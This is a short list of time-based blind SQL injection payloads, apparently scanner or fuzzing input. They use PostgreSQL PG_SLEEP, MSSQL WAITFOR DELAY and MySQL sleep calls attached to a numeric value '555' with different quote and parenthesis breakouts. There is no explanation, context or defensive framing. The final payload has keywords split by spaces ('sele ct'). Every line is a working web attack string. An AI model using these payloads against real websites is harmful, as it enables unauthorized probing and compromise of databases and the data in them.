555-1)) OR 638=(SELECT 638 FROM PG_SLEEP(15))--

555-1) OR 556=(SELECT 556 FROM PG_SLEEP(15))--

555-1 OR 978=(SELECT 978 FROM PG_SLEEP(15))--

555xFc7sBvJ′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/